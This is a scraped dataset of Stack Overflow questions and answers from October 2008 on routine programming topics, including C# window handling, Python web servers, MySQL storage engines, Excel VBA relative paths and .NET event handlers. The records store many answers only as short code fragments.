JUL,\nSum(case\nwhen (Extract(month from DS.Data) =8) then DS.PRE\nelse 0\nend) as AGO,\nSum(case\nwhen (Extract(month from DS.Data) =9) then DS.PRE\nelse 0\nend) as SETE,\nSum(case\nwhen (Extract(month from DS.Data) =10) then DS.PRE\nelse 0\nend) as OUT,\nSum(case\nwhen (Extract(month from DS.Data) =11) then DS.PRE\nelse 0\nend) as NOV,\nSum(case\nwhen (Extract(month from DS.Data) =12) then DS.PRE\nelse 0\nend) as DEZ\nfrom Dados DS\nWhere DS.Cla > 0\nAnd Extract(Year from DS.Data) = :intYear\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213476", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5590/" ]
213,480
<p>How can I bring a console application window to front in C# (especially when running the Visual Studio debugger)?</p>
[ { "answer_id": 213582, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 5, "selected": true, "text": "using System;\nusing System.Diagnostics;\nusing System.Runtime.InteropServices;\nusing System.Threading;\n\npublic class Test \n{\n\n [DllImport(\"user32.dll\")]\n [return: MarshalAs(UnmanagedType.Bool)]\n static extern bool SetForegroundWindow(IntPtr hWnd);\n\n [DllImport(\"user32.dll\", EntryPoint=\"FindWindow\", SetLastError = true)]\n static extern IntPtr FindWindowByCaption(IntPtr zeroOnly, string lpWindowName);\n\n public static void Main()\n {\n string originalTitle = Console.Title;\n string uniqueTitle = Guid.NewGuid().ToString();\n Console.Title = uniqueTitle;\n Thread.Sleep(50);\n IntPtr handle = FindWindowByCaption(IntPtr.Zero, uniqueTitle);\n\n if (handle == IntPtr.Zero)\n {\n Console.WriteLine(\"Oops, cant find main window.\");\n return;\n }\n Console.Title = originalTitle;\n\n while (true)\n {\n Thread.Sleep(3000);\n Console.WriteLine(SetForegroundWindow(handle));\n }\n }\n}\n" }, { "answer_id": 12066376, "author": "ryanb9", "author_id": 1388309, "author_profile": "https://Stackoverflow.com/users/1388309", "pm_score": 4, "selected": false, "text": "[DllImport(\"kernel32.dll\", ExactSpelling = true)]\npublic static extern IntPtr GetConsoleWindow();\n\n[DllImport(\"user32.dll\")]\n[return: MarshalAs(UnmanagedType.Bool)]\npublic static extern bool SetForegroundWindow(IntPtr hWnd);\n\npublic void BringConsoleToFront()\n{\n SetForegroundWindow(GetConsoleWindow()); \n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213480", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25571/" ]
213,483
<p>I am looking for a python webserver which is multithreaded instead of being multi-process (as in case of mod_python for apache). I want it to be multithreaded because I want to have an in memory object cache that will be used by various http threads. My webserver does a lot of expensive stuff and computes some large arrays which needs to be cached in memory for future use to avoid recomputing. This is not possible in a multi-process web server environment. Storing this information in memcache is also not a good idea as the arrays are large and storing them in memcache would lead to deserialization of data coming from memcache apart from the additional overhead of IPC.</p> <p>I implemented a simple webserver using BaseHttpServer, it gives good performance but it gets stuck after a few hours time. I need some more matured webserver. Is it possible to configure apache to use mod_python under a thread model so that I can do some object caching?</p>
[ { "answer_id": 213539, "author": "Eli Bendersky", "author_id": 8206, "author_profile": "https://Stackoverflow.com/users/8206", "pm_score": 2, "selected": false, "text": "BaseHttpServer" }, { "answer_id": 213549, "author": "Eli Courtwright", "author_id": 1694, "author_profile": "https://Stackoverflow.com/users/1694", "pm_score": 1, "selected": false, "text": "mod_proxy" }, { "answer_id": 214495, "author": "Glyph", "author_id": 13564, "author_profile": "https://Stackoverflow.com/users/13564", "pm_score": 3, "selected": false, "text": "twistd web --wsgi=your.wsgi.application\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213483", "https://Stackoverflow.com", "https://Stackoverflow.com/users/24798/" ]
213,506
<p>I get the following warning when using <code>java.net.URLEncoder.encode</code>:</p> <pre>warning: [deprecation] encode(java.lang.String) in java.net.URLEncoder has been deprecated</pre> <p>What should I be using instead?</p>
[ { "answer_id": 213519, "author": "Will Wagner", "author_id": 25468, "author_profile": "https://Stackoverflow.com/users/25468", "pm_score": 9, "selected": true, "text": "encode" }, { "answer_id": 20258706, "author": "Atul Darne", "author_id": 996695, "author_profile": "https://Stackoverflow.com/users/996695", "pm_score": 5, "selected": false, "text": "URLEncoder.encode(\"NAME\", \"UTF-8\");\n" }, { "answer_id": 23945523, "author": "htafoya", "author_id": 505152, "author_profile": "https://Stackoverflow.com/users/505152", "pm_score": 0, "selected": false, "text": "HTTP.UTF_8" }, { "answer_id": 25669212, "author": "Jorgesys", "author_id": 250260, "author_profile": "https://Stackoverflow.com/users/250260", "pm_score": 5, "selected": false, "text": "URLEncoder.encode(String s, String enc)\n" }, { "answer_id": 58532158, "author": "R. Kåbis", "author_id": 11047692, "author_profile": "https://Stackoverflow.com/users/11047692", "pm_score": 1, "selected": false, "text": "org.apache.commons.httpclient.URI" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213506", "https://Stackoverflow.com", "https://Stackoverflow.com/users/338/" ]
213,509
<p>Is it possible to pass a App setting "string" in the web.config to a Common C# class?</p>
[ { "answer_id": 213516, "author": "Ryan Rinaldi", "author_id": 2278, "author_profile": "https://Stackoverflow.com/users/2278", "pm_score": 3, "selected": false, "text": "ConfigurationManager.AppSettings[\"KeyToSetting\"]" }, { "answer_id": 213603, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 0, "selected": false, "text": "public static class ApplicationConfiguration\n{\n private static DateTime myEpoch;\n public static DateTime Epoch\n {\n get\n {\n if (myEpoch == null)\n {\n string startEpoch = ConfigurationManager.AppSettings[\"Epoch\"];\n if (string.IsNullOrEmpty(startEpoch))\n {\n myEpoch = new DateTime(1970,1,1);\n }\n else\n {\n myEpoch = DateTime.Parse(startEpoch);\n }\n }\n return myEpoch; \n }\n }\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213509", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7911/" ]
213,527
<p>What is the most memory efficient way to search within a string in ANSI C? (put the code up)</p> <p>An example where this is needed is in embedded devices that are very short on available memory but nowadays have reasonable clock cycles.</p>
[ { "answer_id": 213559, "author": "warren", "author_id": 4418, "author_profile": "https://Stackoverflow.com/users/4418", "pm_score": 2, "selected": false, "text": "char host[] = \"this is my string to search\";\nchar token[] = \"y st\";\nint k = 0;\nwhile(host[k] != '\\0'){\n for(int t=0; (token[t]!='\\0' && host[k+t]!='\\0');){\n if(host[k] == token[t]){\n t++; // we matched the first char of token, so advance\n }\n else{ // no match yet, reset the token counter and move along the host string\n k++;\n t = 0;\n }\n }\n k++;\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213527", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9362/" ]
213,543
<p>My MySQL database contains several tables using different storage engines (specifically myisam and innodb). How can I find out which tables are using which engine?</p>
[ { "answer_id": 213545, "author": "Greg", "author_id": 24181, "author_profile": "https://Stackoverflow.com/users/24181", "pm_score": 10, "selected": true, "text": "SHOW TABLE STATUS WHERE Name = 'xxx'\n" }, { "answer_id": 213561, "author": "Javier", "author_id": 11649, "author_profile": "https://Stackoverflow.com/users/11649", "pm_score": 6, "selected": false, "text": "SHOW CREATE TABLE <tablename>;\n" }, { "answer_id": 1297804, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 6, "selected": false, "text": "show table status;\n" }, { "answer_id": 4225613, "author": "Jocker", "author_id": 513552, "author_profile": "https://Stackoverflow.com/users/513552", "pm_score": 8, "selected": false, "text": "SELECT TABLE_NAME,\n ENGINE\nFROM information_schema.TABLES\nWHERE TABLE_SCHEMA = 'dbname';\n" }, { "answer_id": 7043322, "author": "Evan Donovan", "author_id": 263877, "author_profile": "https://Stackoverflow.com/users/263877", "pm_score": 4, "selected": false, "text": "SELECT TABLE_NAME, ENGINE\n FROM information_schema.TABLES\n WHERE TABLE_SCHEMA = 'database' AND ENGINE IS NOT NULL;\n" }, { "answer_id": 14306616, "author": "Nicholas", "author_id": 1072064, "author_profile": "https://Stackoverflow.com/users/1072064", "pm_score": 3, "selected": false, "text": "SHOW CREATE TABLE <tablename>\\G\n" }, { "answer_id": 23013791, "author": "magic", "author_id": 3523892, "author_profile": "https://Stackoverflow.com/users/3523892", "pm_score": 3, "selected": false, "text": "mysqlshow -i <database_name>\n" }, { "answer_id": 27763333, "author": "David Thomas", "author_id": 583715, "author_profile": "https://Stackoverflow.com/users/583715", "pm_score": 2, "selected": false, "text": "SHOW TABLE STATUS LIKE 'table';\n" }, { "answer_id": 31385272, "author": "sjas", "author_id": 805284, "author_profile": "https://Stackoverflow.com/users/805284", "pm_score": 2, "selected": false, "text": "information_schema" }, { "answer_id": 32756219, "author": "T30", "author_id": 1677209, "author_profile": "https://Stackoverflow.com/users/1677209", "pm_score": 3, "selected": false, "text": "alter table" }, { "answer_id": 54688991, "author": "mytuny", "author_id": 9052686, "author_profile": "https://Stackoverflow.com/users/9052686", "pm_score": 0, "selected": false, "text": "Operations" }, { "answer_id": 69294846, "author": "mabreu0", "author_id": 6016579, "author_profile": "https://Stackoverflow.com/users/6016579", "pm_score": 0, "selected": false, "text": "use information_schema;\n\nselect NAME from INNODB_TABLES where NAME like \"db_name%\";\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213543", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9435/" ]
213,568
<p>Backstory: I have a PKCS#12 (p12) certificate with a symmetric cipher (password) that I used OpenSSL to convert to a PEM; opening that as text I see it contains both a <code>BEGIN/END CERTIFICATE</code> section as well as <code>BEGIN/END RSA PRIVATE KEY</code>. The .NET Framework <code>X509Certificate</code> class only supports the "ASN.1 DER" format, so I used OpenSSL to convert the PEM to DER. Unfortunately it appears doing this doesn't include the private key which is what I need for making an SSL connection with <code>SslStream</code> &amp; <code>TcpClient</code>.</p> <pre><code>X509CertificateCollection certsFromFile = new X509CertificateCollection(); X509Certificate2 cert = new X509Certificate2("my.der.crt"); if (!cert.HasPrivateKey) throw new Exception("No private key"); certsFromFile.Add(cert); TcpClient tcpclient = new TcpClient(hostname, port); SslStream sslstream = new SslStream(tcpclient.GetStream(), false, null, null); sslstream.AuthenticateAsClient(hostname, certsFromFile, SslProtocols.Ssl3, false); sslstream.Close(); tcpclient.Close(); </code></pre> <p>How do I take this PEM file and make it into a DER while retaining the private key information so I can use it in .NET for signing?</p>
[ { "answer_id": 213599, "author": "Neil C. Obremski", "author_id": 9642, "author_profile": "https://Stackoverflow.com/users/9642", "pm_score": 3, "selected": true, "text": "X509Certificate2" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213568", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9642/" ]
213,576
<p>Which is better (for the user, for longevity, for performance, for whatever) to have:</p> <p>http://{site}/{login} e.g. <a href="http://wildobs.com/adam_jack" rel="nofollow noreferrer">http://wildobs.com/adam_jack</a></p> <p>or</p> <p>http://{site}/user/{login}</p> <p>Pros of former:</p> <ul> <li>User feels more special.</li> <li>URLs are shorter.</li> </ul> <p>Cons of former:</p> <ul> <li>Cannot have users w/ logins matching keywords, and keywords likely grow over time.</li> </ul> <p>Clearly this is important to get right (or get wrong and stick to) since all user define URLs are based off it. Changing it would seem site suicide.</p> <p>Do the cons (especially over time) outweigh the pros?</p>
[ { "answer_id": 213737, "author": "Cem Catikkas", "author_id": 3087, "author_profile": "https://Stackoverflow.com/users/3087", "pm_score": 0, "selected": false, "text": "GET http://{site}/session/new" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213576", "https://Stackoverflow.com", "https://Stackoverflow.com/users/29017/" ]
213,584
<p>I have written an Excel VBA macro which imports data from a HTML file (stored locally) before performing calculations on the data.</p> <p>At the moment the HTML file is referred to with an absolute path:</p> <pre><code>Workbooks.Open FileName:="C:\Documents and Settings\Senior Caterer\My Documents\Endurance Calculation\TRICATEndurance Summary.html" </code></pre> <p>However I want to use a relative path to refer to it as opposed to absolute (this is because I want to distribute the spreadsheet to colleagues who might not use the same folder structure). As the html file and the excel spreadsheet sit in the same folder I would not have thought this would be difficult, however I am just completely unable to do it. I have searched on the web and the suggested solutions have all appeared very complicated.</p> <p>I am using Excel 2000 and 2002 at work, but as I plan to distribute it I would want it to work with as many versions of Excel as possible.</p> <p>Any suggestions gratefully received.</p>
[ { "answer_id": 213602, "author": "yalestar", "author_id": 2177, "author_profile": "https://Stackoverflow.com/users/2177", "pm_score": 4, "selected": false, "text": "ActiveWorkbook.Path\nThisWorkbook.Path\nApp.Path\n" }, { "answer_id": 213818, "author": "Mike Woodhouse", "author_id": 1060, "author_profile": "https://Stackoverflow.com/users/1060", "pm_score": 2, "selected": false, "text": "ChDir ThisWorkbook.Path\n" }, { "answer_id": 214335, "author": "dbb", "author_id": 25675, "author_profile": "https://Stackoverflow.com/users/25675", "pm_score": 7, "selected": true, "text": "Workbooks.Open FileName:= ThisWorkbook.Path & \"\\TRICATEndurance Summary.html\"\n" }, { "answer_id": 21099670, "author": "SK.", "author_id": 2524202, "author_profile": "https://Stackoverflow.com/users/2524202", "pm_score": 1, "selected": false, "text": "Private Sub btn_browser_file_Click()\nDim xRow As Long\nDim sh1 As Worksheet\nDim xl_app As Excel.Application\nDim xl_wk As Excel.Workbook\nDim WS As Workbook\nDim xDirect$, xFname$, InitialFoldr$\nInitialFoldr$ = \"C:\\\"\nWith Application.FileDialog(msoFileDialogFolderPicker)\n .InitialFileName = Application.DefaultFilePath & \"\\\"\n .Title = \"Please select a folder to list Files from\"\n .InitialFileName = InitialFoldr$\n .Show\n Range(\"H13\").Activate\n If .SelectedItems.Count <> 0 Then\n xDirect$ = .SelectedItems(1) & \"\\\"\n Range(\"h12\").Value = xDirect$\n xFname$ = Dir(xDirect$, 7)\n Do While xFname$ <> \"\"\n If (Format(FileDateTime(xDirect$ & \"\\\" & xFname$), \"MM/DD/YYYY\") > Format(Range(\"H10\").Value, \"MM/DD/YYYY\")) Then\n ActiveCell.Offset(xRow) = xFname$\n xRow = xRow + 1\n xFname$ = Dir\n Else\n xFname$ = Dir\n xRow = xRow\n End If\n Loop\n End If\nEnd With\n" }, { "answer_id": 32298258, "author": "Lurds", "author_id": 5281177, "author_profile": "https://Stackoverflow.com/users/5281177", "pm_score": -1, "selected": false, "text": "Sub PDF_laudo_e_Prod_SP_Sem_Ajuste_Preco()\n'\n' PDF_laudo_e_Prod_SP_Sem_Ajuste_Preco Macro\n'\n\n'\n\n\nDim MyFolder As String\nDim LaudoName As String\nDim NF1Name As String\nDim OrigFolder As String\n\nMyFolder = ThisWorkbook.path & \"\\\" & Sheets(\"Laudo\").Range(\"C9\")\nLaudoName = Sheets(\"Laudo\").Range(\"K27\")\nNF1Name = Sheets(\"PROD SP sem ajuste\").Range(\"Q3\")\nOrigFolder = ThisWorkbook.path\n\nSheets(\"Laudo\").Select\nColumns(\"D:P\").Select\nSelection.EntireColumn.Hidden = True\n\nIf Dir(MyFolder, vbDirectory) <> \"\" Then\nSheets(\"Laudo\").ExportAsFixedFormat Type:=xlTypePDF, filename:=MyFolder & \"\\\" & LaudoName & \".pdf\", Quality:=xlQualityMinimum, _\nIncludeDocProperties:=True, IgnorePrintAreas:=False, OpenAfterPublish:= _\nFalse\n\nSheets(\"PROD SP sem ajuste\").ExportAsFixedFormat Type:=xlTypePDF, filename:=MyFolder & \"\\\" & NF1Name & \".pdf\", Quality:=xlQualityMinimum, _\nIncludeDocProperties:=True, IgnorePrintAreas:=False, OpenAfterPublish:= _\nFalse\n\nThisWorkbook.SaveAs filename:=MyFolder & \"\\\" & LaudoName\n\nApplication.DisplayAlerts = False\n\nThisWorkbook.SaveAs filename:=OrigFolder & \"\\\" & \"Entregas e Instrucao Barter 2015 - beta\"\n\nApplication.DisplayAlerts = True\n\nElse\nMkDir MyFolder\nSheets(\"Laudo\").ExportAsFixedFormat Type:=xlTypePDF, filename:=MyFolder & \"\\\" & LaudoName & \".pdf\", Quality:=xlQualityMinimum, _\nIncludeDocProperties:=True, IgnorePrintAreas:=False, OpenAfterPublish:= _\nFalse\n\nSheets(\"PROD SP sem ajuste\").ExportAsFixedFormat Type:=xlTypePDF, filename:=MyFolder & \"\\\" & NF1Name & \".pdf\", Quality:=xlQualityMinimum, _\nIncludeDocProperties:=True, IgnorePrintAreas:=False, OpenAfterPublish:= _\nFalse\n\nThisWorkbook.SaveAs filename:=MyFolder & \"\\\" & LaudoName\n\nApplication.DisplayAlerts = False\n\nThisWorkbook.SaveAs filename:=OrigFolder & \"\\\" & \"Entregas e Instrucao Barter 2015 - beta\"\n\nApplication.DisplayAlerts = True\n\nEnd If\n\nSheets(\"Laudo\").Select\nColumns(\"C:Q\").Select\nSelection.EntireColumn.Hidden = False\nRange(\"A1\").Select\n\nEnd Sub\n" }, { "answer_id": 55457282, "author": "robotik", "author_id": 2866644, "author_profile": "https://Stackoverflow.com/users/2866644", "pm_score": 2, "selected": false, "text": "Workbooks.Open FileName:= \"TRICATEndurance Summary.html\"" }, { "answer_id": 64286849, "author": "Paul", "author_id": 14422724, "author_profile": "https://Stackoverflow.com/users/14422724", "pm_score": -1, "selected": false, "text": "Function AbsolutePath(strRelativePath As String, strCurrentFileName As String) As String\nDim fso As Object\nDim strCurrentProjectpath As String\nDim strGoToParentFolder As String\nDim strOrigineFolder As String\nDim strPath As String\nDim lngParentFolder As Long\n\n\n''Pour retrouver le répertoire parent\nSet fso = CreateObject(\"Scripting.FileSystemObject\")\n\n'' détermine le répertire du projet actif\nstrCurrentProjectpath = CurrentProject.Path\n\n'' détermine le nom du répertoire dans lequel le fichier d'origine se trouve\nstrOrigineFolder = Replace(Replace(Replace(strRelativePath, strCurrentFileName, \"\"), \"..\", \"\"), \"\\\", \"\")\n\n''Extraction du chemin relatif (ex. ..\\..\\..)\nstrGoToParentFolder = Replace(Replace(strRelativePath, strOrigineFolder, \"\"), strCurrentFileName, \"\")\n\n''retourne le nombre de fois qu'il faut remonter au répertoire parent\nlngParentsFolder = Len(Replace(strGoToParentFolder, \"\\\", \"\")) / 2\n\n''détermine la valeur d'origine du répertoire du début\nstrPath = strCurrentProjectpath\n\nVérifie s 'il faut aller au répertoire parent\nIf lngParentsFolder < 1 Then\n 'si non, alors répertoire parent et répertoire d'origine du fichier\n strPath = strCurrentProjectpath & \"\\\" & strOrigineFolder\nElse\n ''si oui, nous faisons la boucle pour retourner au répertoire d'origine\n For i = 1 To lngParentsFolder\n strPath = fso.GetParentFolderName(strPath)\n Next i\nEnd If\n\n''retournons le répertoire parent du fichier et son répertoire d'origine [le OUTPUT]\nAbsolutePath = strPath & strOrigineFolder & \"\\\"\n\nEnd Function\n" }, { "answer_id": 64385376, "author": "Petter", "author_id": 4874138, "author_profile": "https://Stackoverflow.com/users/4874138", "pm_score": 0, "selected": false, "text": "Workbooks.Open FileName:=GetAbsolutePath(\"..\\..\\TRICATEndurance Summary.html\")\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213584", "https://Stackoverflow.com", "https://Stackoverflow.com/users/29070/" ]
213,625
<p>I've got a Visual Basic App that tends to get severely messed up if the installation runs more than once. It seems the occasionally client mistakes the installer for the shortcut to it later on down the road, runs the installer again and it messes everything up. I can't for the life of me figure out why so I decided the easiest way would be to make it so the exe could only be run once on a machine otherwise it would just end. Any ideas?</p>
[ { "answer_id": 219078, "author": "Shane Miskin", "author_id": 16415, "author_profile": "https://Stackoverflow.com/users/16415", "pm_score": 2, "selected": false, "text": "Private Sub Form_Load()\n If App.PrevInstance = True Then\n MsgBox \"Already running\"\n 'Do whatever you need to do before closing\n End If\nEnd Sub\n" }, { "answer_id": 243710, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "private bool CanIStart\n{\n\n try\n {\n MyAppMutex= new Mutex(false, \"myAppMutex\", out createdNew);\n if(MyAppMutex.WaitOne(0,false))\n {\n return true;\n }\n else\n {\n MyAppMutex = null;\n return false;\n }\n\n }\n catch(ApplicationException ex)\n {\n // we couldn't create the mutex. // log the error if you care\n return false; \n }\n}\n" }, { "answer_id": 275883, "author": "jpinto3912", "author_id": 11567, "author_profile": "https://Stackoverflow.com/users/11567", "pm_score": 1, "selected": false, "text": "' Test eventual mark, settings in the registry.\nif GetSetting(\"MyInstallerApp\",\"Startup\",\"BeenHere\",0) = 1 then\n MsgBox \"This installer was ran once already... first run the un-installer.\"\n End ' or some other code to properly exit the installer\nEndIf\nCall SaveSetting (\"MyInstallerApp\",\"Startup\", \"BeenHere\", 1) 'leave a mark for future\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213625", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
213,628
<p>I have embedded a Python interpreter in a C program. Suppose the C program reads some bytes from a file into a char array and learns (somehow) that the bytes represent text with a certain encoding (e.g., ISO 8859-1, Windows-1252, or UTF-8). How do I decode the contents of this char array into a Python string?</p> <p>The Python string should in general be of type <code>unicode</code>—for instance, a <code>0x93</code> in Windows-1252 encoded input becomes a <code>u'\u0201c'</code>.</p> <p>I have attempted to use <code>PyString_Decode</code>, but it always fails when there are non-ASCII characters in the string. Here is an example that fails:</p> <pre><code>#include &lt;Python.h&gt; #include &lt;stdio.h&gt; int main(int argc, char *argv[]) { char c_string[] = { (char)0x93, 0 }; PyObject *py_string; Py_Initialize(); py_string = PyString_Decode(c_string, 1, "windows_1252", "replace"); if (!py_string) { PyErr_Print(); return 1; } return 0; } </code></pre> <p>The error message is <code>UnicodeEncodeError: 'ascii' codec can't encode character u'\u201c' in position 0: ordinal not in range(128)</code>, which indicates that the <code>ascii</code> encoding is used even though we specify <code>windows_1252</code> in the call to <code>PyString_Decode</code>.</p> <p>The following code works around the problem by using <code>PyString_FromString</code> to create a Python string of the undecoded bytes, then calling its <code>decode</code> method:</p> <pre><code>#include &lt;Python.h&gt; #include &lt;stdio.h&gt; int main(int argc, char *argv[]) { char c_string[] = { (char)0x93, 0 }; PyObject *raw, *decoded; Py_Initialize(); raw = PyString_FromString(c_string); printf("Undecoded: "); PyObject_Print(raw, stdout, 0); printf("\n"); decoded = PyObject_CallMethod(raw, "decode", "s", "windows_1252"); Py_DECREF(raw); printf("Decoded: "); PyObject_Print(decoded, stdout, 0); printf("\n"); return 0; } </code></pre>
[ { "answer_id": 213639, "author": "Dan Lenski", "author_id": 20789, "author_profile": "https://Stackoverflow.com/users/20789", "pm_score": 2, "selected": false, "text": "PyString_FromString" }, { "answer_id": 213795, "author": "Alex Coventry", "author_id": 1941213, "author_profile": "https://Stackoverflow.com/users/1941213", "pm_score": 2, "selected": false, "text": "PyErr_Print()" }, { "answer_id": 215507, "author": "Tony Meyer", "author_id": 4966, "author_profile": "https://Stackoverflow.com/users/4966", "pm_score": 4, "selected": true, "text": "PyObject *PyString_Decode(const char *s,\n Py_ssize_t size,\n const char *encoding,\n const char *errors)\n{\n PyObject *v, *str;\n\n str = PyString_FromStringAndSize(s, size);\n if (str == NULL)\n return NULL;\n v = PyString_AsDecodedString(str, encoding, errors);\n Py_DECREF(str);\n return v;\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213628", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17498/" ]
213,630
<p>I'm writing a sample console service host and I want to plug into WCF stack to be able to print a message to console when new message arrives, even if it won't get processed by the service at the moment (because service is working on previous calls). This is based on my assumption that messages arriving get queued by the WCF, is that correct?</p> <p>Additionally, I'm using netTcpBinding if this is important. </p>
[ { "answer_id": 213639, "author": "Dan Lenski", "author_id": 20789, "author_profile": "https://Stackoverflow.com/users/20789", "pm_score": 2, "selected": false, "text": "PyString_FromString" }, { "answer_id": 213795, "author": "Alex Coventry", "author_id": 1941213, "author_profile": "https://Stackoverflow.com/users/1941213", "pm_score": 2, "selected": false, "text": "PyErr_Print()" }, { "answer_id": 215507, "author": "Tony Meyer", "author_id": 4966, "author_profile": "https://Stackoverflow.com/users/4966", "pm_score": 4, "selected": true, "text": "PyObject *PyString_Decode(const char *s,\n Py_ssize_t size,\n const char *encoding,\n const char *errors)\n{\n PyObject *v, *str;\n\n str = PyString_FromStringAndSize(s, size);\n if (str == NULL)\n return NULL;\n v = PyString_AsDecodedString(str, encoding, errors);\n Py_DECREF(str);\n return v;\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213630", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13163/" ]
213,637
<p>I have found that there is generally a singe type or namespace that takes in any particular enum as a parameter and as a result I have always defined those enums there. Recently though, I had a co-worker make a big deal about how that was a stupid thing to do, and you should always have an enum namespace at the root of your project where you define everyone of your enum types.</p> <p>Where is the best place to locate enum types?</p>
[ { "answer_id": 213649, "author": "Nicholas Mancuso", "author_id": 8945, "author_profile": "https://Stackoverflow.com/users/8945", "pm_score": 1, "selected": false, "text": "typedef enum {\n HI,\n GOODBYE\n} msg_type;\n\ntypdef struct {\n msg_type type;\n union {\n int hivar;\n float goodbyevar;\n }\n} msg;\n" }, { "answer_id": 213659, "author": "Chris Cudmore", "author_id": 18907, "author_profile": "https://Stackoverflow.com/users/18907", "pm_score": 2, "selected": false, "text": "namespace mynamespace\n{\n public partial class MyClass\n {\n }\n enum MyClassOptions\n {\n }\n}\n" }, { "answer_id": 11567737, "author": "charlest", "author_id": 1538842, "author_profile": "https://Stackoverflow.com/users/1538842", "pm_score": 2, "selected": false, "text": "// MyEnumHeader.h\n// Consolidated enum header file for this dll,lib,subsystem whatever.\nnamespace MyApp\n{\n namespace MyEnums\n {\n enum SomeEnum { EnumVal0, EnumVal1, EnumVal2 };\n };\n};\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213637", "https://Stackoverflow.com", "https://Stackoverflow.com/users/520/" ]
213,638
<p>I'm using C#, .NET 3.5. I understand how to utilize events, how to declare them in my class, how to hook them from somewhere else, etc. A contrived example:</p> <pre><code>public class MyList { private List&lt;string&gt; m_Strings = new List&lt;string&gt;(); public EventHandler&lt;EventArgs&gt; ElementAddedEvent; public void Add(string value) { m_Strings.Add(value); if (ElementAddedEvent != null) ElementAddedEvent(value, EventArgs.Empty); } } [TestClass] public class TestMyList { private bool m_Fired = false; [TestMethod] public void TestEvents() { MyList tmp = new MyList(); tmp.ElementAddedEvent += new EventHandler&lt;EventArgs&gt;(Fired); tmp.Add("test"); Assert.IsTrue(m_Fired); } private void Fired(object sender, EventArgs args) { m_Fired = true; } } </code></pre> <p>However, what I do <em>not</em> understand, is when one declares an event handler</p> <pre><code>public EventHandler&lt;EventArgs&gt; ElementAddedEvent; </code></pre> <p>It's never initialized - so what, exactly, is ElementAddedEvent? What does it point to? The following won't work, because the EventHandler is never initialized:</p> <pre><code>[TestClass] public class TestMyList { private bool m_Fired = false; [TestMethod] public void TestEvents() { EventHandler&lt;EventArgs&gt; somethingHappend; somethingHappend += new EventHandler&lt;EventArgs&gt;(Fired); somethingHappend(this, EventArgs.Empty); Assert.IsTrue(m_Fired); } private void Fired(object sender, EventArgs args) { m_Fired = true; } } </code></pre> <p>I notice that there is an EventHandler.CreateDelegate(...), but all the method signatures suggest this is only used for attaching Delegates to an already existing EventHandler through the typical ElementAddedEvent += new EventHandler(MyMethod).</p> <p>I'm not sure if <em>what</em> I am trying to do will help... but ultimately I'd like to come up with an abstract parent DataContext in LINQ whose children can register which table Types they want "observed" so I can have events such as BeforeUpdate and AfterUpdate, but specific to types. Something like this:</p> <pre><code>public class BaseDataContext : DataContext { private static Dictionary&lt;Type, Dictionary&lt;ChangeAction, EventHandler&gt;&gt; m_ObservedTypes = new Dictionary&lt;Type, Dictionary&lt;ChangeAction, EventHandler&gt;&gt;(); public static void Observe(Type type) { if (m_ObservedTypes.ContainsKey(type) == false) { m_ObservedTypes.Add(type, new Dictionary&lt;ChangeAction, EventHandler&gt;()); EventHandler eventHandler = EventHandler.CreateDelegate(typeof(EventHandler), null, null) as EventHandler; m_ObservedTypes[type].Add(ChangeAction.Insert, eventHandler); eventHandler = EventHandler.CreateDelegate(typeof(EventHandler), null, null) as EventHandler; m_ObservedTypes[type].Add(ChangeAction.Update, eventHandler); eventHandler = EventHandler.CreateDelegate(typeof(EventHandler), null, null) as EventHandler; m_ObservedTypes[type].Add(ChangeAction.Delete, eventHandler); } } public static Dictionary&lt;Type, Dictionary&lt;ChangeAction, EventHandler&gt;&gt; Events { get { return m_ObservedTypes; } } } public class MyClass { public MyClass() { BaseDataContext.Events[typeof(User)][ChangeAction.Update] += new EventHandler(OnUserUpdate); } public void OnUserUpdated(object sender, EventArgs args) { // do something } } </code></pre> <p>Thinking about this made me realize I don't really understand what's happening under the hod with events - and I would like to understand :)</p>
[ { "answer_id": 213651, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 7, "selected": true, "text": "// Backing field\n// The underscores just make it simpler to see what's going on here.\n// In the rest of your source code for this class, if you refer to\n// ElementAddedEvent, you're really referring to this field.\nprivate EventHandler<EventArgs> __ElementAddedEvent;\n\n// Actual event\npublic EventHandler<EventArgs> ElementAddedEvent\n{\n add\n {\n lock(this)\n {\n // Equivalent to __ElementAddedEvent += value;\n __ElementAddedEvent = Delegate.Combine(__ElementAddedEvent, value);\n }\n }\n remove\n {\n lock(this)\n {\n // Equivalent to __ElementAddedEvent -= value;\n __ElementAddedEvent = Delegate.Remove(__ElementAddedEvent, value);\n }\n }\n}\n" } ]
2008/10/17
[ "https://Stackoverflow.com/questions/213638", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17803/" ]
213,646
